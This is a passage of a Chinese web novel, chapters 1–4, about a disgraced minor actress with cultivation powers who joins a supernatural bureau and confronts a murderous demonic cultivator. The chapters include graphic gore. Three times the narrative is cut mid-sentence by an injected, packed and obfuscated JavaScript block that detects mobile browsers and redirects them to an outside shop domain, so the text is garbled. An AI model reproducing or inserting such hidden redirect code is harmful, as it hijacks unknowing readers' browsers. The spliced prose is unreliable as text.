《修仙女配她退圈上岸了》 1. 回归 【某十八线糊咖为出名,竟然偷爬当今顶流的床!】 【非科班出身,却屡进大制作剧组,还说这不是带资进组!】 【天天蹭我担热度,黎钰你要脸吗?】 黎钰一打开微博,就看见自己的黑白版大头照在首页跳舞,还伴随着各种不堪入目的辱骂。 啥回事?她不就是请假三天,去了趟修仙界做任务吗? 她努力深呼吸,让自己平静下来,然后拨通经纪人的电话:“费姐,我不在的这些天,究竟发生了什么?” “你还好意思问!” “这三天你去哪了,我给你手机打了整整五十一通电话,你一个都没接!” 一声怒吼从手机传出,差点震聋黎钰的耳朵。 黎钰心虚地侧视,尽管这位火大的经纪人并不在她的面前,但她已经想象出来对方怒火冲天杀气腾腾的表情了。 “我……这不是和公司请假了几天……” 她只是趁这几天没有行程,请三天假去完成天道的穿越任务而已,怎么偏偏在这三天里出事了! “你知道网上什么情况吗,全是在骂你、造你谣的。我试着让人压热搜,但那可是顶流的热度,我根本压不住……” 费姐疲惫地说道:“偷拍的狗仔是盛娱的人,”她顿了顿,“你上周不是签了个探秘综艺吗,我怀疑他们有艺人嫉恨你抢了他们的名额,所以派人来搞你。” 除了狗仔的身份,其他纯猜测无证据。 但是,盛娱……黎钰开始头疼了,这不是原书剧情里,豪门千金女主所在的公司吗? 是的,黎钰不仅是个穿越者,还是个穿书的幸运儿。 那本书名为《星遇》,豪门千金暗恋顶流,隐姓埋名进入娱乐圈,在努力下,最终夺得最佳女主奖,两人巅峰相见,快乐he的小故事。 黎钰,则光荣地穿成了豪门千金、未来影后女主的对照组,也就是日后频频作妖,给女主提供丰富的打脸素材的恶毒女配。 淡金色的灵力自她的掌心浮现,黎钰盯着手中的“异能”,皱着眉毛思索。 她只是个小糊咖,女主可是千金大小姐,就算黎钰想作妖,她俩也没机会碰到一起。 原书女主主动找她麻烦的可能性无限接近于零。 “费姐,我觉得可能狗仔大概率是在跟踪顾望宁的路上,意外把我拍进去了。” 黎钰口中的顾望宁,就是《星遇》的原书男主,现在的顶流,未来的影帝。 原书里,她和顾望宁青梅竹马,对他暗生情愫,也因此对女主嫉恨万分,又是买黑通稿,又是造谣,给女主下绊子,最终被愤怒的男女主携手整到退圈。 她确实和顾望宁自小就相识。实际也是他介绍黎钰进圈,还帮了她不少忙,黎钰进圈时就决定,以后赚大钱了一定要好好报答他。 不过,环顾这光照奇差、无论怎么整理都蟑螂乱爬的出租屋,黎钰觉得赚大钱的梦想,多半只是梦想。 “所以你和他真不是那种关系?” “绝对不是。”黎钰哭笑不得。 对面的声音还是有些感叹:“就算你说的是真的,网上的事也闹得太大了……你可能混不下去了。” 说到这里,经纪人迟疑了几秒,终究还是将这个残酷的事实说出。 “《灵异秘闻》,恐怕是你在娱乐圈的最后一次舞台了。” 看来,公司打算雪藏她了。 挂掉电话,黎钰坐在硬邦邦的折叠椅上,沉默地望向窗外。 《灵异秘闻》是一档灵异探索综艺,凭借推理和大逃杀出圈,是这个世界的黄金八点档节目之一。 观众除了看自担被吓哭的另一面外,就是看他们怎么足智多谋,从鬼屋逃出生天。 本来以黎钰的咖位,根本没资格上这样的综艺。但不知是运气好还是不好,上期有位嘉宾高血压发作,无法参加这档节目,违约离开。 至于为什么说“不好”,因为每期都有嘉宾被吓走。 公司看黎钰努力上进,胆大心细,就把这个名额给她了,谁知道她居然和顾望宁闹绯闻了。 而且在她请假的三天里,还是助理上她的号,替她发的声明。 【对本人进行诽谤的造谣者,我们已收集证据,将使用法律途经对其进行制裁,网络并非无法之地,望大家谨言慎行。】 不说还好,助理一发,她评论区里全是骂她的。 【还法律途径,笑死个人,经典辟谣越辟谣越真。】 【非科班非选秀,出道三年就能拿到这么好的资源,也不知道从我担身上捞了多少,真恶心!】 【真心疼我家小顾,被这样恶心的人缠上。】 【像宁宁这么优秀的人,只有同为顶流的女星才配得上他!黎钰算什么东西,呕了。】 【我家宁宁独美,请某些糊咖不要死不要脸来蹭热度捏。】 攻讦的话术无非就那么几套,黎钰深深叹气,将手机静音,认命地拎起手里的外卖盒,准备下楼扔垃圾。 她拍拍自己的脸颊,让自己的表情不那么僵硬。 出门之前,灵光从指尖闪现,迅速扩散至整个房间,就像一层密封的膜罩,将室内罩得严严实实。 隔离结界做好了。 自修仙界归来后,她在那里习得的法术和修为也跟着她一起,回到了现实世界。 作为筑基期修士,她不吃不喝也不会死,省下了一大笔伙食费和水电费,还有了保命战斗的能力——当然,黎钰不觉得现代社会用得上这份能力。 “拍剧的时候不用吊威亚?打斗剧情不用请武替?上交国家能拿几百万?” 考虑到口袋里仅剩的几百块,黎钰觉得也不是不能考虑一下。 黎钰带上口罩,穿上外套,拎着垃圾下门了。 现在入秋了,屋外不算冷,但夜晚秋风呼啸,如刀子般削割着她的脸颊,黎钰抬起左手,用外套袖子挡了挡风。 她现在住的地方是一间廉价出租屋,三楼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993171|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比城中村好一点,但好不了好多——离城中村的距离不到一百米。 这还是她精挑细选的结果,租金更便宜的房子基本都在小巷子深处,楼与楼交界的死角。黎钰虽然学过散打,但也不敢在没有路灯的情况下,贸然迈入黑暗的小巷。 更何况,她还是个演员,糊咖演员也是演员。 所以她选择住在巷子的入口,至少安全一点。 烈日当午,头顶的水管漏着污水,小巷角落里还隐约散发着死老鼠的臭味,几只蟑螂从缝隙爬过,似在嘲笑她无所事事。 黎钰将垃圾丢进桶中,顺便一脚踩死那几只蹦迪的蟑螂,把它们踩得浆都爆出来。 没关系,被公司雪藏就雪藏吧,她大学专业学得好,可以靠这个找工作。 …… 一小时后,某著名仙侠游戏公司。 “黎小姐,我们看了您的简历,您确定要应聘建模师这一岗位吗?” 面试官的视线集中在简历的“新海理工大学”上,又往下瞄了瞄——专业成绩为班级前5%。 作品不错,平台粉丝体量也不小,好几万呢,可惜了,不是应届生,拿不到补贴。 “是的,我学习过3D动画,雕刻建模渲染我都会,”黎钰急忙拿出手机,“我可以给你看我近期的作品集!现场机试也行!” “那倒是不用,”面试官摇摇头,“我相信新理的学生。接下来,我要先和你讲讲公司的薪资待遇和工作时间。” “试用期间,底薪2000,月休2天。算上餐补300,加班费1200,共计3500,请问你意下如何?” 对面一口气说完,完全不带停顿,黎钰直接愣在了原地。 倒不是听不清,黎钰呆滞地问道:“我们……几点下班?” “工作时间是早上九点到晚上六点。午休从十二点开始,总共两个小时!不违反八小时工作制!” “但偶尔会有加班……” 面试官扯出一个微笑:“会有加班费的。” 现在是中午十二点半,黎钰目光呆滞地看向不远处的工位。 一个地中海胖子正苦巴巴地对着建模软件工作,他的盒饭就在他的左手处,根本没打开。 那一瞬间,黎钰感觉自己也不是不能在《灵异秘闻》上搏一把。 天哪,她一个月在平台上接的模型单都比这工资高!这还是她腾出拍戏的时间做的! 含泪拒绝了996的诱惑,黎钰离开了游戏公司。 平台兼职建模也是兼职,实在不行她还能代做PPT,黎钰揉揉自己散乱的及腰长发,正准备坐地铁回家。 “好歹有钱赚,也算是正规工作吧……” 就在此时,一阵富有节奏的电音从黎钰的口袋中传出,本想挂掉,但看清来电号码的瞬间,黎钰的手不禁颤抖了一下。 警察局??? 黎钰定睛一看,不是代表诈骗的三位数,而是五位数。 真的是警察局! 2. 铁饭碗不期而遇 “请问,有什么事吗?”她颤着手,接通了电话。 接通电话的瞬间,黎钰的眼前如走马灯般闪过无数位英俊貌美的同行。 他们或是著名歌手,或是美貌爱豆。 现在,他们无一例外在牢里踩缝纫机。 难道她也要进局子了? 黎钰自认没干过任何违纪犯法的坏事——如果初中暴揍校园霸凌的小混混,也能算进去的话。 “麻烦您来新海市警察局一趟,”对面仿佛听出黎钰的警惕,又加了句,“您没有犯法,放心。” 没有犯法,那让她去警局做什么? “我手头有些急事,稍后过来。”黎钰不慌不忙地回答道。 “好的,但请最好在下午六点之前。” 黎钰忍不住问:“为什么?” “今天周末,局长六点下班。” 朴实无华,却又符合事实的理由,朴实到从996游戏公司出来的黎钰都无法反驳。 “这种事情,应该算机密吧?”这么直白地告诉她要下班真的好吗? “下班,不代表不能临时加班。” 原来是弹性下班,难怪不算机密,她开始心疼这位未曾谋面的局长了。 “行,那我现在过去。” …… 两个小时后,警察局。 从面试失败的游戏公司到警局,她光是坐地铁,就坐了差不多两个小时! 黎钰人都麻了。 幸好没有同意那高达2000底薪的工作,否则她未来的人生将一片灰暗。 黎钰坐在接待室中,好奇地打量四周。实不相瞒,这已经是她第二次来警察局了。 第一次是联合班上的同学,将校园霸凌的混混送进少管所——她只是来录口供,没犯法。 此时的她仿佛回到了初中,她励志考上顶尖大学物理系,对未来诺贝尔奖势在必得—— 初中的目标只实现了三分之一:顶尖大学考上了,但不是物理系。 “数字媒体也是可以的……和娱乐圈专业对口,还能转行做游戏……” 她暗中安慰自己,现在的游戏行业赚起来,那可真没娱乐圈顶流什么事——开个卡池就赚几千万了,这还是月流水。 不过考虑到刚才那所996有限公司,底薪2000的试用期工资来看,几千万的流水,到她的手里,多半得抹掉个“万”字。 门被拉开了。 黎钰回过神来,看向来者,只一眼,她又呆住了。 一位剑眉星目的男人迈进会客厅,长发被白玉发冠高高束起,眉眼清冽如霜,雪色衣裳在他身后随风飘动,就像小说里的仙尊。 刚从修仙界回来,黎钰差点应激了。 不对,这是现代世界,她盯着这位“仙尊”,脑海中不礼貌地想道。 难道是她的演员同行犯事了,还在剧组演着戏呢,就被警察逮过来了? 想到这里,黎钰恍然大悟,她瞬间理解为什么警局要叫她过来了,原来是要她当证人,录口供啊。 他径自坐在黎钰的对面,凭空抽了一叠资料,顺着桌面移到黎钰面前。 “你好,天选者黎钰。”古装男子淡淡地看了她一眼,说出黎钰的名字。 “……天选者是什么?”黎钰僵了一下,眼里带着疑惑,“抱歉,我不太明白你的意思。” 对方如冰一样的视线直视着她,“我是对策局局长步星澜。” “你不必伪装,我亦是修仙者,你我二人算是同行。”他似乎想挤出个笑容,让自己看上去温和文雅一些,但黎钰一副见了鬼的表情上看,他失败了。 听到他的名号,黎钰才想起来,眼前这位仙气飘飘的古装美男,就是客服口中那个弹性下班的局长。 黎钰想起刚才的2000元底薪,看他的眼光不禁有些同情。 “你可有意向加入对策局?天道应当和你提起过我们。” “对策局是什么?”天道什么时候提起过这三个字了?黎钰思来想去,一点印象都没有—— 不对。 提起……黎钰的嘴角抽了抽,她想起来了。 出任务前,她问天道有没有能迅速改善经济状况的法子? 天道:“进局子去吧。” 她还以为天道在玩“最赚钱的方法都在刑法上”的烂梗。 没想到是字面意思。 “你或许听说过SWAT,我们对策局的职能和它差不多。” 特殊武器与战术部队,黎钰凭借自己丰富多彩的游戏经验,立马理解了步星澜的话。 和特警差不多啊。 “那得看看待遇。”经历过996游戏公司的面试,黎钰没有立即答复步星澜。 “这是劳动合同、保密协议,你可以在这里阅览,”步星澜顿了顿,冷冽的目光扫了过来,“你也可以请专门的律师,但你做出决策后,我们会清除他的记忆。” 黎钰翻开,仔细阅读上面每一段文字。 “试用期底薪7000,单休,有免费宿舍和500餐补……” “不仅逢年过节送300消费卡,还是编制内?!” “我、我可以拍完综艺,就来你们这边吗!”黎钰咽了咽唾沫,毫无疑问,她的眼睛已经冒出了闪亮的光。 她不想当演员了,她想转行上岸! 见她一秒变得热忱,步星澜一副见怪不怪的样子,面不改色地说道:“你是天道选定的天选者,给你派发的任务,具备一定的危险性,你要认真考虑——” “我同意!” 刚说完,黎钰直起的身子不好意思地重新坐下,“只是拍完综艺……还有剩余名额给我吗?” 步星澜瞥了她一眼,反问她:“你当真以为级天选者随处可见?” 那就是面试通关了?黎钰仿佛被天上掉下来的馅饼砸了一脸。 “可我这样算走后门吗?”黎钰有些好奇,公务员要专业对口,要考试,而且分数线极高,尤其是好岗位。 “你穿越那三天,不就是在考试?” 所以天选者的公务员考试,就是拯救世界吗? 见她还愣在那,步星澜指了指合约:“真同意的话,就把合同签一下。” “放心,你可以继续拍你的综艺,不会有影响,上头不会干涉。不过,你需要帮助我们,调查圈子里的某些人。” 这不就是让她当内鬼吗?能够揪出偷税漏税、吸d嫖c的同行,黎钰兴奋极了,她甚至开始猜测哪个幸运儿要塌房了。 至于报复,他们有本事觉得自己能打赢一个修仙者,那就来吧。她的父母早就死在高三那场车祸中了,她无亲无故,唯一的软肋只有钱。 “好,我同意。” 黎钰已经开始畅想未来,7000的月薪,还不用交房租,要不是顾及礼仪,黎钰真的会开心得蹦起来。 …… 下午五点半。 填完那一堆合同表格,这位古装美男局长还特地给她安排了战术测试,主要就是射击、机动、侦查,还有一些个人能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993172|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力测试。 看到她的异能,步星澜瞬间垮起个脸,连连后退,像见了鬼一样,不情不愿地在最后的测试给了她一百分。 “异能是修仙者杀手,真是对不起呢,弹性下班的步局长。” “大范围操控魔气,随时让仙入魔,好像是有点bug……” 对于修仙者来说,黎钰的异能和操控屎没什么区别,糊你脸上还不能抹掉,只能看着自己在屎里慢慢窒息。 “放心局长,如果对方不是修仙者,这和念动力也没啥区别。” 说完,她就被步星澜白了一眼。喔,他是仙尊,对他来说,黎钰等同于不可名状的域外天魔。 测试过程中,步星澜沉默地离她五米远,保持一个安全距离,仿佛黎钰是哪来的洪水猛兽,然后从储物空间拿出一块黑色平板。 黎钰定睛一看,那平板壳还是某热门抽卡手游里的周年贺图。 看不出来,这仙尊还是个死宅。 “同事送的。”或许黎钰的视线深深刺痛了他,步星澜决定解释一下,维护自己的名声。 经典的我有一个朋友系列,黎钰认真地点头,表示自己都懂。 发现自己解释不如沉默后,步星澜生硬地扯开话题。 “对了,你的故乡,是不是也分为六界?”见她同为修仙者,算是他的半个老乡,步星澜好奇问道。 “什么六界?” 黎钰的注意力,成功从二次元平板上转移到家乡的话题上。 “神界、仙界、魔界……或许不同世界,仙神人魔的划分也有所不同。” 黎钰感受着步星澜热烈的视线,有些不好意思了,看来这位局长真的很想见到老乡。 “不是啊,我老家也是地球,和这里差不多,就是有些地名不一样。” 步星澜在平板记录的手明显停顿住了,黎钰防止他误会,继续解释:“我那三天去修仙世界做任务,顺便筑基了。可能受世界影响,我的异能也变成了操控魔气。” “……我明白了。” 他看了黎钰一眼,在平板记下——没有触控笔,用的手写输入法。 “话说回来,局长,修仙者也要用平板记录吗?” 换个人,黎钰可能不会问这种问题。但局长一位真正的仙尊,手里却拿着一块现代平板——壳还是二次元的,黎钰忍不住发问。 步星澜沉默了:“上头说要用,我在熟悉它的运作方式。” 原来是不会使用电子设备的中老年上司,黎钰理解了。 现在,距离步星澜下班还有三十分钟。 黎钰准备离开,不打扰新上司即将到来的快乐下班时光。 “什么,市里有咒厄地浮现?” “资料发给我,我立刻去处理。” 不好的预感涌上心头,黎钰连忙加快步伐,尝试遁走。 “黎钰,站住。” 少女仿佛立正的猫头鹰一样,僵硬地杵在原地。 “作为新上任的天选者,这是你试用期的第一个任务,”步星澜走到她的身边,清冷眼眸中夹着浅微的笑意,他拍拍黎钰的肩膀,“同为修士,我相信你。” 不等她回答,黎钰眼见这位仙尊脚步轻快地踏上飞剑,熟练地给自己施上隐匿术法,跟脱缰野马似的窜了出去。 只留呆若木鸡的黎钰留在原地。 老乡见老乡,背后打一枪。 好消息:她没被“老乡”背刺。 坏消息:她成为了“老乡”弹性下班后的工具人下属。 3. 妖异于现实中浮现 平心而论,黎钰一点也不想去。她只想结束这一天的面试,回家准备明天的综艺录制,吃完公司给她的断头饭。 “开玩笑,我都上岸了,凭啥还要听前老板的话去拍综艺啊?” 抱怨归抱怨,但她不敢推掉。 《灵异秘闻》的通告费足足有十万,顶她几个月的建模和动画单了——在没有大单子的前提下。 “那也很多了……”如果是顶流或一流演员,通告费肯定不止五万,数十万百万都有可能,可谁让黎钰是十八线呢?作为大热综艺,没让她倒贴钱上节目就很不错了。 反正步星澜也说过,她可以两头顾。 黎钰从腰侧的挎包中拿出口罩,黑色的口罩遮住她的下半脸,穿过无人的走廊。 “咔哒”,旁边接待室的门打开了,黎钰的脚步顿了顿,从门中走出的人是位女子,和黎钰一样也带着口罩。 不仅有口罩,还有墨镜。 即使戴着口罩,身形被宽大的卫衣掩盖住,也掩盖不了她与众不同的气度。察觉到黎钰惊讶的目光,对方隔着墨镜冷漠瞥了她一眼,利落消失在长廊的尽头。 那道身影,看着竟十分相似《星遇》女主,蒋如月。 “难道来告黑?”黎钰有些摸不着头脑。 但对方已经离开,她只能压下自己蠢蠢欲动的八卦之心,惋惜地离开。 只是,她刚越过接待室,就听见了警察们的交谈。 “桐明区的连环杀人案有眉目了吗……” “没有,我们还要调查那起连环坠楼事件,根本分不出多余的警力……” 黎钰的脚步僵硬地停住了,杀人事件?连环坠楼? 她出租屋就在桐明区! “去异界做个任务,怎么回来天都变了……”夜幕降临,黎钰沉默地离开了警局。 不管如何,她先去处理步星澜给她的实习任务吧。 沿江东路106号,黎钰默念步星澜给她的地点,火速打车赶去。 毕竟,黎钰觉得自己还没非到这种地步,出一趟外勤,就能撞上杀人事件。 …… “居然是市中心的别墅区。”黎钰抬起头,仰视着坡道,上面豪宅别墅鳞次栉比在,窗户透出的微光在黑夜中闪烁。 只要穿过这条网红美食街,就是市中心有名的别墅区了。 住在那里的人非富即贵,黎钰只是娱乐圈里籍籍无名的十八线,住在桐明区的老破小出租屋,“该死的有钱人,和你们拼了……” 她走过人来人往的美食街,跟着地图导航来到昏黑的小巷子前,沉默了。 这真是去别墅区的近路吗?智障导航不会又在坑她吧? “喵~” 一只三花猫叼着火腿肠,跳下堆叠的木箱,嗲嗲地向路过的黎钰“喵”了一声,似在寻求加餐。 很可爱,但黎钰身上只有糖果和巧克力,这些猫都不能吃,她只能叹气,无视它可怜巴巴的叫声,向前绕开它,走进小巷。 就在绕过三花猫的瞬间,它把嘴里叼的肉肠吐到地上,黎钰僵在原地,死死盯着地上的“火腿肠”。 “喵?” 那是一根人类的断指。 断裂的末端已经发黑,整根指节枯瘦如干骨,看上去原主人已经死去一段时间。 黎钰立即拿出手机,将情况告知步星澜。 对面沉默了好久,方回复她,“咒厄地暂无异动,你会追踪术法吗?” “会。” “附近的杀人事件极可能与咒厄地有关,你顺着死者的尸体继续追查。” 说实话,黎钰到现在都没搞明白咒厄地的概念,就被步星澜赶鸭子上架了。 她蹲下,在小猫期待的目光中,缓缓拿出一张“符纸”。 “咪?”小猫的眼神满是疑惑。 那是张白纸,上面用黑笔画着扭曲的符文,是的,这就是黎钰随身携带的现形符。 身为一位身经百战的筑基期符修,怎么能限制符纸的形式呢?眼尖的人甚至能看出来,黎钰那张“符纸”还是张被裁成两半的A4纸,pdd上1块10张的那种A4纸。 白纸上的符文亮起淡蓝色的光芒,随着灵力的输入,断裂的指节中延伸出交织的光芒,一道红色,一道蓝色,它们均指向同一个方向。 “鬼气和尸体其他部位居然在同一个方向……” 而且,这断指上居然有残留的魔气!黎钰心下大惊,那不是修仙界的特产——魔修吗? 为什么现代也有魔修?黎钰想不通,她决定先跟着眼前的线索进行调查。 顺着蓝光,黎钰穿过昏黑的巷子,成功来到坡道上,蓝光和红光仍交织着,向前延展,没有狭窄巷子的阻碍,黎钰清晰地看见红蓝光的指向——黑夜中,唯一一座无灯的别墅。 别墅区也有豪宅用于赠礼与交易,实际并没有人居住,不开灯也很正常。 但符咒的光芒均指向那栋无光别墅,那百分百不对劲! 黎钰站在保安亭前,正准备她旁若无人地越过警戒线,走进别墅区。见她这样做,坐在门口保安大哥立即坐起,将手里的烟丢在脚下,急忙上前拦下她。 “站住!你是什么人?前方闲杂人等禁止进入!” 摸了摸口袋,步星澜根本没给她发工作证,黎钰只能选择更修仙者的方式进别墅区了。 看见她不怀好意的目光,保安大哥身躯一颤。 片刻,保安大哥走回亭中,从桌子上取出厚厚一叠表格,眼神空洞:“那栋别墅是沿江东路106号,记录显示,屋主一家四口已经一周没离开过别墅……” “外卖也没点?”黎钰指着登记出入的表格,问道。 “没有。” 她刚掀了几页登记表,就在上面看见了熟悉的名字。 “蒋如月,来访时间19:02,理由是探亲。” 这不是《星遇》女主? 说起来,原文中只提到蒋如月是新海市的豪门千金,根本没提她家具体的住址…… 可这是外来登记人员表,为什么蒋如月会大晚上来这里? 她直接问保安,“她来这里探亲?” “她弟弟住在这边……” 弟弟,记得原书中蒋如月的弟弟是位程序员,他知道自己姐姐进入娱乐圈后,多次下场替她收集证据反黑,冲锋在打榜的最前线——可以说是亲姐厨了。 蒋如月经常去看望他倒也不奇怪。 不过19:02,也就比黎钰早到半小时,想起方才警局里熟悉的身影,她当时不会真的来告黑吧?黎钰若有所思地离开了保安亭。 她一走,保安迷惑地揉了揉自己脑袋。 “奇怪,我不是在外面抽烟吗?什么时候回来的?”摸不着头脑,既然想不明白,他决定再来一支烟提神醒脑。 …… 今夜是满月,云层稀疏,惨白的月光照在大地上,黎钰走到十字路口,红色与蓝色的丝线分离了。 黎钰的脚步顿了顿,决定向沿江东路106号走去,跟着蓝色线条。 她可没忘记,任务的目标地就是那栋别墅。 “没想到断指的主人就在咒厄地……”这下真应允了步星澜的话,那尸体真和咒厄地有关。 除了偶尔从她身边经过的车辆,别墅区的人行道上空无一人,就像死寂的世界。 “怎么总感觉有人在盯着我。” 自进入沿江东路106号的附近,黎钰就模模糊糊地感知到一道视线,充满着恶意与扭曲,仿佛要撕碎她。 这种敌意的视线,黎钰在修仙界见得多了,现在她更加笃定对方的身份了,百分百是隐藏在别墅区的魔修。 穿过空荡荡的街道,黎钰站在别墅花园的门前,凝望着满是灰尘的高耸铁门,整个沿江东路106号如同进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993173|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入了某种真空地带,不仅是人,就连飞鸟走兽都消失得无影无踪,一切生灵不约而同地避开这栋别墅。 夜晚不开灯,为了省电,这很正常。 无人出入此处,并不是所有别墅都有人住,很正常。 偶尔会闻到腐烂的气味,户主没请家政打理,正常。 ——绕着点走就好了。 “大型暗示结界?” 没有执法记录仪,黎钰只能打开手机的录像功能,让它漂浮在自己身边,“顺便上个坚硬符咒……” 很好,板砖无人机,成功制作完成! 这样的话,就算被击中,也不会受损影响拍摄。 漆黑的魔气在她手边成形,黑雾如同一条条触手盘旋上铁门,“哐当”,大门上的铁条被她硬生生掰弯掰断,形成一个供人出入的椭圆入口。 “希望物业不会找我赔钱……” 脚在越过铁门的瞬间,就“啪叽”踩上一滩黏糊浓稠的液体,踩到“地雷”的一刹那,黎钰脑子空白了,她小心翼翼挪开脚。 暗示结界已经失效,她低头望去,混杂着鲜血与肉块的固液共存体在她脚下呈扇形溅射开来,而主人的头颅则在不远处死死瞪视着大门,眼中满是不甘与怨恨。 而下一幕,她更是气上心头——尸体的血泊上满是脚印。 制造惨案的魔修完全将地上惨死的人视作地砖的一部分,旁若无人地踩踏上去。 不远处,本应种植着绣球花的花坪上,一朵朵蓝色花蕾被数十颗死不瞑目的人头替代,被摆在花丛中,仿佛它们才是花园中真正的“鲜花”。 如此惨相,黎钰在修仙界见多了。 可这是现代,从沿江东路到她的出租屋,坐地铁只要三十分钟。 黎钰环视四周,回想起保安那看到的情报,这别墅只有一家四口人居住,算上佣人家政,最多不超过二十人。 结合修仙界捣毁魔修巢穴的经验,黎钰推断,这栋别墅应该被做成了某种邪术的祭坛。 其他死者也被放置在这座祭坛之中。 想到这里,黎钰松了口气,因为如果是祭坛,那一定还有幸存者。 因为她太了解这帮癫公癫婆了,他们干出这种畜生事,不就是为了让人“观赏”他们精心创作的“作品”吗? 神识扫过整座别墅,果不其然,别墅的一楼和二楼已经沦为人间地狱,只有地下室还有幸存者,尽管只剩下十余人。 “居然没在门口布下防护法阵,也没放置活傀埋伏我?”别墅区没有修仙者,所以行事才如此嚣张吗? 伴随着她进入楼层内,花园的监控摄像头静静凝视着黎钰的背影,将眼前一切传到别墅现在的主人手中。 …… “咦,她也是魔修?” 男孩看着监控画面,惊讶地注视着黎钰的背影。 他看得清清楚楚,黎钰用魔气弯曲大门的情景。 “探查修为没有受到阻碍,是个筑基期啊。” 既然是魔修,那就好办了,他作为元婴期修士,整整高黎钰两个境界,望见她发现自己的“杰作”后那震惊的模样,男孩恨铁不成钢地摇摇头。 “少见多怪,作为魔修连这点世面都没见过?”算了,不和这种小修士计较,跟捏死只蚂蚁一样,随便弄死就好。 男孩伸了个懒腰,从沙发坐起,他的墙上贴满照片。 被分尸成数十块,又被拼起来的青年男子; 强行将狗的头颅嫁接在躯干身上,四肢斩断的小孩; 一坛坛不停渗出血液,里面脑浆满溢的酒坛…… “解决掉那个女人,回来再挑两只家畜练习雕刻吧!” 他关上灯,打个哈欠,慢悠悠走进传送阵。 “对了,”一个造价不菲的手机飞到男孩的身边,“差点忘记开直播。” 他有预感,今天的作品一定能在暗区大火! 4. 后背中十八枪,死因自杀 推开门,感应灯在她推门的瞬间亮起,照亮整个大堂。 地砖被血液浸染,表面一片赤红,已经看不出砖块的颜色,沿着血泊望去,一座由尸块堆积成的小山坐落在楼梯上,顶上的吊灯溅上血液,就连灯光被染成鲜红色。 就像误入森罗地狱。 创作这片地狱的人故意将尸山放置在大门的正对处,为了让来者一眼就能望见自己的“艺术品”。 一具穿着管家服饰的无头尸体端着茶水,走向黎钰行礼,他低头时,黎钰甚至能看见他脖子断口处的干涸的血肉与脊椎。 黎钰瞥了眼他端来的“茶水”,一颗已经停跳的心脏放在托盘中央,而它的四周,各放着五颗眼球——这就是别墅主人送给黎钰的“甜点”。 “真恶心。” 她抬手,无数魔气自她身上涌现爆发,越过一侧的无头管家,化作数百道细长尖刺击向那座尸山。 漆黑的复杂法阵显现,“轰隆”一声,所有尖刺尽数撞在法阵上,强烈的撞击震撼大地,顶上摇摇欲坠的吊灯不堪重负,终于坠落。 玻璃破碎那一刻,一道瘦小的人影穿过法阵,漂浮在半空中,双目漠然俯视着地面的少女。 “区区筑基期魔修,也敢在本座面前放肆?”和男孩体型不符的威压扩散开来,在如此恐怖的压力下,别墅的墙砖寸寸开裂,一旁的无头管家更是直接被压成一地碎肉。 他上下打量黎钰,“魔气倒是精纯,不含半分杂质,你是何派修士?” 黎钰不动声色地扫了眼他身侧漂浮的摄像机,这是在直播? “小辈一届散修,对此方世界的宗门派别甚是陌生,请前辈赐教。”她眼有疑惑,但仍然弯腰拱手,一副想要虚心请教的模样。 “居然是散修,这么嚣张,我还以为你是真理会派来的狗。”男孩冷冷说道。 见她只是个无名散修,还比自己低了整整两个大境界,男孩隐藏起尸山的防御法阵。 黎钰低头,小心追问:“那前辈是……” “本座是终焉黑日的护教。” 回想起黎钰手撕铁门的一幕,男孩不禁想到她身上精纯的魔气,心下贪念顿起。 反正是无名散修,了解完她的底细,就把她的灵根剖了,修为夺过来,正好他的傀儡术急需新鲜的宿主。 一旁的黎钰则有些懵。终焉黑日?真理会?这些又是什么? 她在现代活了十几年,听都没听过!她生活在平行世界吗?! 男孩的脸上带着笑意,余光观看屏幕上的弹幕。 【主播愣着干什么,怎么不把这个女人砍成碎块啊?】 【绞成肉酱也可以】 【直接丢进血池里溺死也挺好!】 “可惜你这身天赋了,冒犯元婴期修士,你……想好怎么死了吗?” 男孩的威压直直压过来,黎钰不为所动,只是平静注视着他。 黎钰摇摇头:“这话我说才对,这位“魔修”大能,你还有别的遗言吗?” 遗言?还敢挑衅他?好嚣张的女人! “没有的话,那便自绝经脉吧。” 这女人在说什么?他一个元婴期修士,怎么可能—— “怎么回事?!” 下一秒,男孩的目光一片血红。 体内的灵力开始逆流反转,他引以为豪的魔气正在迅速撕裂丹田经脉,躯体裂开一道道可怖的创口,血液肉块爆散开来,他痛苦地在地上翻滚哀嚎。 就像一条濒死翻滚的鱼。 不!他得使用治疗术式,对了,还有丹药。药瓶从他的储物空间飞出,他正欲服下那代表希望的回复药。 药瓶在他希冀的目光中,被击成碎片,连带其中的丹药——以及他的手臂。 “额啊啊啊!” “现在,告诉我,这座祭坛的用处是什么?”黎钰慢悠悠地长靴踩在他仅存的手掌上,缓缓加重力度。 “不说?”啪的一声,他整只手掌被踩成碎块,血雾爆开,别墅本就染满鲜血的地面增加了一片鲜艳的红。 